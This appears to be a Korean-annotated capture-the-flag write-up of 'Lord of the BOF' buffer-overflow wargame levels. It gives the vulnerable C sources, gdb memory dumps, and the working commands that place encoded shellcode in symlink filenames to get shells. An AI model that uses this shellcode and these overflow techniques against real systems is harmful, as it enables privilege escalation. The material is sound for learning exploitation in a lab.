oiehso0

[zombie_assassin@localhost zombie_assassin]$ cat succubus.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - succubus

        - calling functions continuously

*/

#include <stdio.h>

#include <stdlib.h>

#include <dumpcode.h>

// the inspector

int check = 0;

void MO(char *cmd)

{

        if(check != 4)

                exit(0);

        printf("welcome to the MO!\n");

        // olleh!

        system(cmd);

}

void YUT(void)

{

        if(check != 3)

                exit(0);

        printf("welcome to the YUT!\n");

        check = 4;

}

void GUL(void)

{

        if(check != 2)

                exit(0);

        printf("welcome to the GUL!\n");

        check = 3;

}

void GYE(void)

{

        if(check != 1)

                exit(0);

        printf("welcome to the GYE!\n");

        check = 2;

}

void DO(void)

{

        printf("welcome to the DO!\n");

        check = 1;

}

main(int argc, char *argv[])

{

        char buffer[40];

        char *addr;

        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }

        // you cannot use library

        if(strchr(argv[1], '\x40')){//\x40이 발견되면 포인터가 리턴된다. 즉 library는 못쓴다.

                printf("You cannot use library\n");

                exit(0);

        }

        // check address

        addr = (char *)&DO; //DO의 주소값 저장

        if(memcmp(argv[1]+44, &addr, 4) != 0){//argv[1]+44의주소와 앞 네자리 비교 값지않으면 아웃!!

                printf("You must fall in love with DO\n");

                exit(0);

        }

        // overflow!

        strcpy(buffer, argv[1]);

        printf("%s\n", buffer);

        // stack destroyer

        // 100 : extra space for copied argv[1]

        memset(buffer, 0, 44);//버퍼의 주소부터 44만큼 0으로 초기화

        memset(buffer+48+100, 0, 0xbfffffff - (int)(buffer+48+100)); //버퍼주소+148 부터 전부 0으로 초기화 

        // LD_* eraser

        // 40 : extra space for memset function

        memset(buffer-3000, 0, 3000-40); //버퍼 앞 2960개공간 모두 0으로 초기화

[assassin@localhost assassin]$ cat zombie_assassin.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - zombie_assassin

        - FEBP    //fake ebp

*/

#include <stdio.h>

#include <stdlib.h>

main(int argc, char *argv[])

{

        char buffer[40];

        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }

        if(argv[1][47] == '\xbf')        //스택제한

        {

                printf("stack retbayed you!\n");

                exit(0);

        }

        if(argv[1][47] == '\x40')

        {

                printf("library retbayed you, too!!\n");        //라이브러리영역 제한

                exit(0);

        }

        // strncpy instead of strcpy!

        strncpy(buffer, argv[1], 48);        //버퍼부터 ret공간 내에서 해결해야함

        printf("%s\n", buffer);

}

[giant@localhost giant]$ cat assassin.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - assassin

        - no stack, no RTL

*/

#include <stdio.h>

#include <stdlib.h>

main(int argc, char *argv[])

{

        char buffer[40];

        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }

        if(argv[1][47] == '\xbf')    //ret주소로 스택주소를 사용 할 수 없다.

        {

                printf("stack retbayed you!\n");

                exit(0);

        }

        if(argv[1][47] == '\x40')        //ret주소로 라이브러리 영역을 사용할 수 없다.

        {

                printf("library retbayed you, too!!\n");

                exit(0);

        }

        strcpy(buffer, argv[1]);

        printf("%s\n", buffer);

        // buffer+sfp hunter

        memset(buffer, 0, 44);        //버퍼영역이 모두 0으로 초기화 된다.

}

(gdb) disas main

0x8048514 <main+164>:   push   %eax

0x8048515 <main+165>:   call   0x8048398 <memset>

0x804851a <main+170>:   add    $0xc,%esp

0x804851d <main+173>:   leave

0x804851e <main+174>:   ret

0x804851f <main+175>:   nop

[bugbear@localhost bugbear]$ cat giant.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - giant

        - RTL2

*/

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

main(int argc, char *argv[])

{

        char buffer[40];

        FILE *fp;

        char *lib_addr, *execve_offset, *execve_addr;

        char *ret;

        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }

        // gain address of execve

//공유라이브러리 libc의 주소 출력

        fp = popen("/usr/bin/ldd /home/giant/assassin | /bin/grep libc | /bin/awk '{print $4}'", "r");

        fgets(buffer, 255, fp);

        sscanf(buffer, "(%x)", &lib_addr);

        fclose(fp);

//__execve함수 주소를 출력한다.

        fp = popen("/usr/bin/nm /lib/libc.so.6 | /bin/grep __execve | /bin/awk '{print $1}'", "r");

        fgets(buffer, 255, fp);

        sscanf(buffer, "%x", &execve_offset);

        fclose(fp);

        execve_addr = lib_addr + (int)execve_offset;

        // end

        memcpy(&ret, &(argv[1][44]), 4);

        if(ret != execve_addr)        //execve주소로 ret하지 않으면 프로그램 종료

        {

                printf("You must use execve!\n");

                exit(0);

        }

        strcpy(buffer, argv[1]);

        printf("%s\n", buffer);

}

[darkknight@localhost darkknight]$ cat bugbear.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - bugbear

        - RTL1        Return To Library 기법을 이용하라는 힌트

*/

#include <stdio.h>

#include <stdlib.h>

main(int argc, char *argv[])

{

        char buffer[40];

        int i;

        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }

        if(argv[1][47] == '\xbf')         //스택을 사용하지 못하도록 제한함.

        {

                printf("stack betrayed you!!\n");

                exit(0);

        }

        strcpy(buffer, argv[1]);

        printf("%s\n", buffer);

}

[darkknight@localhost darkknight]$ vi findbin.c

[darkknight@localhost darkknight]$ cat findbin.c

#include <stdio.h>

#include <string.h>

int main(){

        long system = 0x40058ae0;

        while(memcmp(system,"/bin/sh\x00",8)){

        system++;

}

        printf("%p\n",system);

}

[darkknight@localhost darkknight]$ gcc -o findbin findbin.c

findbin.c: In function `main':

findbin.c:6: warning: passing arg 1 of `memcmp' makes pointer from integer without a cast

[darkknight@localhost darkknight]$ ./findbin

0x400fbff9

[golem@localhost golem]$ cat darkknight.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - darkknight

        - FPO        //프레임 포인터 오버플로우를 이용한다. sub함수가 있어야함.

*/

#include <stdio.h>

#include <stdlib.h>

void problem_child(char *src)

{

        char buffer[40];

        strncpy(buffer, src, 41);

        printf("%s\n", buffer);

}

main(int argc, char *argv[])

{

        if(argc<2){

                printf("argv error\n");

                exit(0);

        }

        problem_child(argv[1]);

}

[skeleton@localhost skeleton]$ cat golem.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - golem

        - stack destroyer

*/

#include <stdio.h>

#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])

{

        char buffer[40];

        int i;

        if(argc < 2){    //2개 이상의 인자 사용

                printf("argv error\n");

                exit(0);

        }

        if(argv[1][47] != '\xbf')    //0xbf~~~로 시작하는 ret 사용

        {

                printf("stack is still your friend.\n");

                exit(0);

        }

        strcpy(buffer, argv[1]);    //취약 부분

        printf("%s\n", buffer);

        // stack destroyer!

        memset(buffer, 0, 44);    //버퍼 초기화

        memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));    //ret주소위 상위 메모리 초기화

}

[vampire@localhost vampire]$ cat skeleton.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - skeleton

        - argv hunter

*/

#include <stdio.h>

#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])

{

        char buffer[40];

        int i, saved_argc;

        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }

        // egghunter

        for(i=0; environ[i]; i++)

                memset(environ[i], 0, strlen(environ[i]));

        if(argv[1][47] != '\xbf')

        {

                printf("stack is still your friend.\n");

                exit(0);

        }

        // check the length of argument

        if(strlen(argv[1]) > 48){

                printf("argument is too long!\n");

                exit(0);

        }

        // argc saver

        saved_argc = argc;

        strcpy(buffer, argv[1]);

        printf("%s\n", buffer);

        // buffer hunter

        memset(buffer, 0, 40);

        // ultra argv hunter! argv를 모두 0으로 초기화한다.

        for(i=0; i<saved_argc; i++)

                memset(argv[i], 0, strlen(argv[i]));

}

[vampire@localhost /tmp]$ ln -s skeleto1 `python -c 'print "\x90"*100+"\xd9\xc5\xd9\x74\x24\xf4\xb8\x15\xc3\x69\xd7\x5d\x29\xc9\xb1\x0b\x31\x45\x1a\x03\x45\x1a\x83\xc5\x04\xe2\xe0\xa9\x62\x8f\x93\x7c\x13\x47\x8e\xe3\x52\x70\xb8\xcc\x17\x17\x38\x7b\xf7\x85\x51\x15\x8e\xa9\xf3\x01\x98\x2d\xf3\xd1\xb6\x4f\x9a\xbf\xe7\xfc\x34\x40\xaf\x51\x4d\xa1\x82\xd6"'`

[vampire@localhost /tmp]$ gdb ./`python -c 'print "\x90"*100+"\xd9\xc5\xd9\x74\x24\xf4\xb8\x15\xc3\x69\xd7\x5d\x29\xc9\xb1\x0b\x31\x45\x1a\x03\x45\x1a\x83\xc5\x04\xe2\xe0\xa9\x62\x8f\x93\x7c\x13\x47\x8e\xe3\x52\x70\xb8\xcc\x17\x17\x38\x7b\xf7\x85\x51\x15\x8e\xa9\xf3\x01\x98\x2d\xf3\xd1\xb6\x4f\x9a\xbf\xe7\xfc\x34\x40\xaf\x51\x4d\xa1\x82\xd6"'`

(gdb) r `python -c 'print "\x90"*44+"\xbf\xbf\xbf\xbf"'`

Starting program: /tmp/./▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒t$▒▒i▒])ɱ

                                                         1EE▒▒▒▒b▒▒|G▒▒Rp▒▒8{▒Q▒▒▒▒-▒ѶO▒▒▒▒4@▒QM▒▒▒ `python -c 'print "\x90"*44+"\xbf\xbf\xbf\xbf"'`

▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒

Program received signal SIGSEGV, Segmentation fault.

0xbfbfbfbf in ?? ()

(gdb) disas main

Dump of assembler code for function main:

중간 생략

0x8048641 <main+321>:   call   0x80483f0 <strlen>

0x8048646 <main+326>:   add    $0x4,%esp

0x8048649 <main+329>:   mov    %eax,%eax

0x804864b <main+331>:   push   %eax

0x804864c <main+332>:   push   $0x0

0x804864e <main+334>:   mov    0xffffffd4(%ebp),%eax

0x8048651 <main+337>:   lea    0x0(,%eax,4),%edx

0x8048658 <main+344>:   mov    0xc(%ebp),%eax

0x804865b <main+347>:   mov    (%eax,%edx,1),%edx

0x804865e <main+350>:   push   %edx

0x804865f <main+351>:   call   0x8048430 <memset>

0x8048664 <main+356>:   add    $0xc,%esp

0x8048667 <main+359>:   incl   0xffffffd4(%ebp)

---Type <return> to continue, or q <return> to quit---

0x804866a <main+362>:   jmp    0x8048623 <main+291>

0x804866c <main+364>:   lea    0x0(%esi,1),%esi

0x8048670 <main+368>:   leave

0x8048671 <main+369>:   ret

(gdb) b* main +368

Breakpoint 1 at 0x8048670

프로그램 맨 마지막 쯤에 bp를 걸어주고 ret주소를 \xbfbfbfbf로 덮어주고 한번 더 실행시켜 주었다.

(gdb) r `python -c 'print "\x90"*44+"\xbf\xbf\xbf\xbf"'`

The program being debugged has been started already.

Start it from the beginning? (y or n) y

Starting program: /tmp/./▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒t$▒▒i▒])ɱ

                                                         1EE▒▒▒▒b▒▒|G▒▒Rp▒▒8{▒Q▒▒▒▒-▒ѶO▒▒▒▒4@▒QM▒▒▒ `python -c 'print "\x90"*44+"\xbf\xbf\xbf\xbf"'`

▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒

후에 etc 메모리 영역 어디에 nop와 쉘코드가 들어갔는지 파악해준다.

(gdb) x/256x 0xbfffffff -256

0xbffffeff:     0x00000000      0x00000000      0x00000000      0x00000000

0xbfffff0f:     0x00000000      0x00000000      0x00000000      0x00000000

0xbfffff1f:     0x00000000      0x00000000      0x00000000      0x00000000

0xbfffff2f:     0x00000000      0x00000000      0x00000000      0x00000000

0xbfffff3f:     0x00000000      0x00000000      0x2f000000      0x2f706d74

0xbfffff4f:     0x90902f2e      0x90909090      0x90909090      0x90909090

0xbfffff5f:     0x90909090      0x90909090      0x90909090      0x90909090

0xbfffff6f:     0x90909090      0x90909090      0x90909090      0x90909090

0xbfffff7f:     0x90909090      0x90909090      0x90909090      0x90909090

0xbfffff8f:     0x90909090      0x90909090      0x90909090      0x90909090

0xbfffff9f:     0x90909090      0x90909090      0x90909090      0x90909090

0xbfffffaf:     0x90909090      0xc5d99090      0xf42474d9      0x69c315b8

0xbfffffbf:     0xc9295dd7      0x45310bb1      0x1a45031a      0xe204c583

0xbfffffcf:     0x8f62a9e0      0x47137c93      0x7052e38e      0x1717ccb8

0xbfffffdf:     0x85f77b38      0xa98e1551      0x2d9801f3      0x4fb6d1f3

0xbfffffef:     0xfce7bf9a      0x51af4034      0xd682a14d      0x00000000

0xbfffffff:     Cannot access memory at address 0xbfffffff

ret주소를 0xbfffff6f 쯤으로 하면 안전하게 nop를 타고 쉘코드가 실행 될 것 같다.

[troll@localhost troll]$ cat vampire.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - vampire

        - check 0xbfff

*/

#include <stdio.h>

#include <stdlib.h>

main(int argc, char *argv[])

{

        char buffer[40];

        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }

        if(argv[1][47] != '\xbf')    //0xbf로 시작하는 주소를 이용할것!

        {

                printf("stack is still your friend.\n");

                exit(0);

        }

        // here is changed!

        if(argv[1][46] == '\xff')     //0xbfff로 시작하는 주소는 이용하지 말것!

        {

                printf("but it's not forever\n");

                exit(0);

        }

        strcpy(buffer, argv[1]);

        printf("%s\n", buffer);

}

[orge@localhost orge]$ cat troll.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - troll

        - check argc + argv hunter

*/

#include <stdio.h>

#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])

{

        char buffer[40];

        int i;

        // here is changed

        if(argc != 2){

                printf("argc must be two!\n");

                exit(0);

        }

        // egghunter 환경변수 제한

        for(i=0; environ[i]; i++)

                memset(environ[i], 0, strlen(environ[i]));

        if(argv[1][47] != '\xbf')    //0xbf로 시작하는 ret주소를 사용해야한다.

        {

                printf("stack is still your friend.\n");

                exit(0);

        }

        // check the length of argument     //argv[1]의 문자열이 48자를 넘으면 X

        if(strlen(argv[1]) > 48){

                printf("argument is too long!\n");

                exit(0);

        }

        strcpy(buffer, argv[1]);

        printf("%s\n", buffer);

        // buffer hunter 버퍼 40자를 0으로 초기화한다.

        memset(buffer, 0, 40);

        // one more!    argv[1]을 모두 0으로 초기화한다.

        memset(argv[1], 0, strlen(argv[1]));

}

[orge@localhost orge]$ gdb ./`python -c 'print "\x90"*100+"\xd9\xc5\xd9\x74\x24\xf4\xb8\x15\xc3\x69\xd7\x5d\x29\xc9\xb1\x0b\x31\x45\x1a\x03\x45\x1a\x83\xc5\x04\xe2\xe0\xa9\x62\x8f\x93\x7c\x13\x47\x8e\xe3\x52\x70\xb8\xcc\x17\x17\x38\x7b\xf7\x85\x51\x15\x8e\xa9\xf3\x01\x98\x2d\xf3\xd1\xb6\x4f\x9a\xbf\xe7\xfc\x34\x40\xaf\x51\x4d\xa1\x82\xd6"'` ./core

(gdb) x/256x 0xbfffffff -256

0xbffffeff:     0x00000000      0x00000000      0x00000000      0x00000000

0xbfffff0f:     0x00000000      0x00000000      0x00000000      0x00000000

0xbfffff1f:     0x00000000      0x00000000      0x00000000      0x00000000

0xbfffff2f:     0x00000000      0x00000000      0x00000000      0x00000000

0xbfffff3f:     0x00000000      0x00000000      0x00000000      0x00000000

0xbfffff4f:     0x90902f2e      0x90909090      0x90909090      0x90909090

0xbfffff5f:     0x90909090      0x90909090      0x90909090      0x90909090

0xbfffff6f:     0x90909090      0x90909090      0x90909090      0x90909090

0xbfffff7f:     0x90909090      0x90909090      0x90909090      0x90909090

0xbfffff8f:     0x90909090      0x90909090      0x90909090      0x90909090

0xbfffff9f:     0x90909090      0x90909090      0x90909090      0x90909090

0xbfffffaf:     0x90909090      0xc5d99090      0xf42474d9      0x69c315b8

0xbfffffbf:     0xc9295dd7      0x45310bb1      0x1a45031a      0xe204c583

0xbfffffcf:     0x8f62a9e0      0x47137c93      0x7052e38e      0x1717ccb8

0xbfffffdf:     0x85f77b38      0xa98e1551      0x2d9801f3      0x4fb6d1f3

0xbfffffef:     0xfce7bf9a      0x51af4034      0xd682a14d      0x00000000

프로그램 이름이 0xbfffff52부터 시작되는 것을 알 수 있었다. 원본 파일에 심볼릭 링크를 걸어주고

[orge@localhost orge]$ ln -s troll `python -c 'print "\x90"*100+"\xd9\xc5\xd9\x74\x24\xf4\xb8\x15\xc3\x69\xd7\x5d\x29\xc9\xb1\x0b\x31\x45\x1a\x03\x45\x1a\x83\xc5\x04\xe2\xe0\xa9\x62\x8f\x93\x7c\x13\x47\x8e\xe3\x52\x70\xb8\xcc\x17\x17\x38\x7b\xf7\x85\x51\x15\x8e\xa9\xf3\x01\x98\x2d\xf3\xd1\xb6\x4f\x9a\xbf\xe7\xfc\x34\x40\xaf\x51\x4d\xa1\x82\xd6"'`